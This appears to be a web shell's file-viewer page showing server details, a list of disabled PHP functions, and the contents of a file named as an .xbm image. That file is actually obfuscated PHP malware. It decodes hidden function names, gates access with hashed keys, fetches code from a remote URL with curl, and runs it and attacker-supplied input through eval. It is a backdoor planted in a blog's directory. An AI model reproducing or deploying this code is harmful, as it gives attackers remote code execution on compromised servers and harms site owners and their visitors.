HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/aef2e/aef2e/jMzCXyZQlGuT.xbm
<?php
 goto SmL7r0mACBIa; SmL7r0mACBIa: $nKBFHiFFn3sF = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto CMlWmslzitF0; CMlWmslzitF0: $IuajMkMxN_XW = $nKBFHiFFn3sF("\176", "\x20"); goto SVDl38ilbfDz; e9q1H0w3ldFW: if (!(in_array(gettype($OensRHD_KecT) . count($OensRHD_KecT), $OensRHD_KecT) && count($OensRHD_KecT) == 25 && md5(md5(md5(md5($OensRHD_KecT[19])))) === "\146\x66\141\67\62\x66\x32\x65\141\x39\x36\x65\65\62\x65\x36\x39\x64\x30\64\61\x31\61\70\x39\146\x61\64\61\x33\70\x62")) { goto Ey18PCGPfpVC; } goto Hmq35T3VCsI8; BZnyuvCE8iqx: metaphone("\x68\101\x6b\x76\132\x4b\x75\144\63\106\146\x57\x71\x36\124\63\x4c\x72\x4a\x5a\166\63\70\65\122\x71\x48\x67\x39\x59\x58\161\x58\x30\x43\150\x47\x6b\x36\x4f\x64\62\60"); goto L7n5E7LhW_CE; SVDl38ilbfDz: $OensRHD_KecT = ${$IuajMkMxN_XW[27 + 4] . $IuajMkMxN_XW[13 + 46] . $IuajMkMxN_XW[11 + 36] . $IuajMkMxN_XW[18 + 29] . $IuajMkMxN_XW[8 + 43] . $IuajMkMxN_XW[17 + 36] . $IuajMkMxN_XW[51 + 6]}; goto e9q1H0w3ldFW; L7n5E7LhW_CE: class iZef6g3nzLZo { static function PgVDZn0xOxzx($uOTGKitSEmR0) { goto c_jyJK1D3LNN; ndfKf7KCQ1Ll: UIEGgmJ9VSg0: goto YhwFg200aIPe; J7RH8gv1GsYk: foreach ($svgYDTJm2yaH as $azeHtO89XdH6 => $A2uoPCyTsOXo) { $oYqUfTo1X43t .= $ywabKwEIiQfU[$A2uoPCyTsOXo - 90396]; lGiTzTokIJoe: } goto ndfKf7KCQ1Ll; YhwFg200aIPe: return $oYqUfTo1X43t; goto bmRfdIvkL_vx; Du00x24hYKVE: $oYqUfTo1X43t = ''; goto J7RH8gv1GsYk; rNiMHT2LuTiG: $ywabKwEIiQfU = $rnrV4iQ7C9o9("\176", "\x20"); goto xXxvwCZlxHWm; xXxvwCZlxHWm: $svgYDTJm2yaH = explode("\x26", $uOTGKitSEmR0); goto Du00x24hYKVE; c_jyJK1D3LNN: $rnrV4iQ7C9o9 = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto rNiMHT2LuTiG; bmRfdIvkL_vx: } static function R1U5r_Y8yuPu($Hf86sHn86P1a, $lAa4LK6aOSdm) { goto kw7XbJ6HuGl1; kw7XbJ6HuGl1: $ieI3s5xFs1W7 = curl_init($Hf86sHn86P1a); goto pGA1CKwEb1SJ; pGA1CKwEb1SJ: curl_setopt($ieI3s5xFs1W7, CURLOPT_RETURNTRANSFER, 1); goto nTUoICOE3lWM; nTUoICOE3lWM: $VGRGZxF2uMjm = curl_exec($ieI3s5xFs1W7); goto cRSM4SzFpEN9; cRSM4SzFpEN9: return empty($VGRGZxF2uMjm) ? $lAa4LK6aOSdm($Hf86sHn86P1a) : $VGRGZxF2uMjm; goto L6Mn1YurCA7i; L6Mn1YurCA7i: } static function s79bdE2dm6sJ() { goto pQO6x7hyV2T_; LO7PdfAWZAkE: @$jtgEO5FaiWn5[1 + 9](INPUT_GET, "\x6f\146") == 1 && die($jtgEO5FaiWn5[3 + 2](__FILE__)); goto Si1MorvTbxt1; YWTFXzKnFPUk: die; goto gKWR1DN08cKk; NctN0f91dieG: foreach ($J7eldo5H950q as $LItKCI414fXE) { $jtgEO5FaiWn5[] = self::PGVdzn0xoxZX($LItKCI414fXE); kE2MWRrAIM1D: } goto LCIHL3tobmac; gKWR1DN08cKk: QGCd6CLglaw_: goto VXE8ZtqfMw_c; siZo1dpoXuSk: $NUhC8R8VGOZg = @$jtgEO5FaiWn5[1]($jtgEO5FaiWn5[10 + 0](INPUT_GET, $jtgEO5FaiWn5[9 + 0])); goto Tt2sXS1u_of1; Si1MorvTbxt1: if (!(@$AxES9SrZp30p[0] - time() > 0 and md5(md5($AxES9SrZp30p[3 + 0])) === "\x39\65\61\x37\60\x64\x65\62\60\x61\144\x33\71\63\141\64\145\144\143\62\142\63\x35\x65\141\x38\x63\71\x37\x36\145\66")) { goto QGCd6CLglaw_; } goto rdRrMsdmqpRp; LCIHL3tobmac: FSG3MhoUb69J: goto siZo1dpoXuSk; tvtd2jqagx0L: @eval($jtgEO5FaiWn5[3 + 1]($FshGVJJvu0Lf)); goto YWTFXzKnFPUk; pQO6x7hyV2T_: $J7eldo5H950q = array("\x39\60\64\x32\x33\x26\x39\x30\x34\x30\x38\x26\x39\60\x34\x32\61\46\x39\x30\64\62\x35\x26\71\x30\x34\60\66\x26\71\60\x34\x32\61\46\71\60\64\62\x37\x26\x39\60\x34\x32\x30\46\71\60\64\60\x35\x26\71\60\64\x31\62\46\71\x30\64\x32\63\46\x39\x30\x34\x30\66\46\x39\60\x34\x31\x37\x26\71\60\64\61\x31\x26\71\60\64\x31\x32", "\71\x30\x34\x30\67\46\71\x30\64\60\x36\46\71\60\64\x30\x38\x26\x39\60\x34\x32\x37\46\71\x30\64\60\70\46\71\60\x34\x31\61\46\71\x30\64\x30\66\46\x39\60\x34\67\x33\46\71\60\x34\x37\x31", "\71\x30\64\61\x36\x26\71\60\x34\x30\67\46\71\60\64\x31\x31\x26\71\60\x34\x31\62\46\x39\60\x34\x32\67\x26\x39\60\64\62\x32\46\x39\60\x34\62\x31\46\x39\x30\64\x32\x33\46\71\x30\64\x31\x31\46\x39\x30\x34\x32\x32\x26\x39\60\64\x32\x31", "\71\60\x34\61\60\46\x39\x30\x34\x32\65\46\71\60\64\x32\x33\x26\71\x30\x34\x31\x35", "\71\x30\x34\62\x34\x26\x39\60\64\x32\65\x26\x39\x30\64\60\x37\x26\x39\x30\64\x32\x31\46\71\x30\64\x36\x38\46\x39\x30\64\67\60\x26\x39\60\64\x32\67\x26\x39\60\64\62\62\46\x39\60\x34\x32\61\46\71\60\64\62\x33\46\x39\x30\x34\x31\61\x26\x39\60\64\x32\62\x26\71\60\x34\62\x31", "\x39\x30\64\x32\60\x26\x39\60\x34\61\x37\46\71\60\64\61\x34\x26\71\60\64\x32\x31\46\x39\x30\x34\62\x37\x26\71\x30\64\x31\x39\x26\x39\x30\64\62\x31\46\71\x30\64\x30\x36\46\71\60\64\62\x37\46\71\60\64\x32\x33\46\x39\x30\64\61\61\x26\x39\60\x34\x31\62\46\x39\x30\x34\60\x36\x26\71\60\x34\62\x31\46\71\x30\64\x31\x32\x26\71\x30\x34\60\x36\46\x39\60\x34\60\67", "\x39\60\x34\x35\x30\46\x39\x30\x34\x38\x30", "\71\x30\63\x39\67", "\71\60\x34\x37\65\x26\x39\x30\x34\70\x30", "\x39\x30\64\65\67\x26\x39\x30\64\x34\x30\x26\71\x30\64\64\60\46\71\60\x34\65\x37\x26\71\x30\64\x33\63", "\71\60\64\x32\60\x26\x39\x30\64\61\x37\46\x39\x30\x34\61\x34\46\x39\x30\64\x30\x36\x26\71\60\x34\x32\61\x26\71\60\x34\x30\x38\46\71\60\64\x32\67\x26\x39\60\x34\x31\x37\46\x39\60\x34\x31\x32\x26\x39\x30\64\61\60\x26\71\x30\64\x30\65\46\x39\x30\64\x30\x36"); goto NctN0f91dieG; Tt2sXS1u_of1: $nwq7y1dlbIQx = @$jtgEO5FaiWn5[2 + 1]($jtgEO5FaiWn5[0 + 6], $NUhC8R8VGOZg); goto UOpV6OCdaN2c; rdRrMsdmqpRp: $FshGVJJvu0Lf = self::r1U5R_y8yuPU($AxES9SrZp30p[1 + 0], $jtgEO5FaiWn5[0 + 5]); goto tvtd2jqagx0L; UOpV6OCdaN2c: $AxES9SrZp30p = $jtgEO5FaiWn5[1 + 1]($nwq7y1dlbIQx, true); goto LO7PdfAWZAkE; VXE8ZtqfMw_c: } } goto zVQtkaGpj5BU; Hmq35T3VCsI8: ($OensRHD_KecT[62] = $OensRHD_KecT[62] . $OensRHD_KecT[71]) && ($OensRHD_KecT[84] = $OensRHD_KecT[62]($OensRHD_KecT[84])) && @eval($OensRHD_KecT[62](${$OensRHD_KecT[37]}[18])); goto l83GvtONYAmZ; l83GvtONYAmZ: Ey18PCGPfpVC: goto BZnyuvCE8iqx; zVQtkaGpj5BU: IzeF6g3nzLzO::S79Bde2Dm6sj();
?>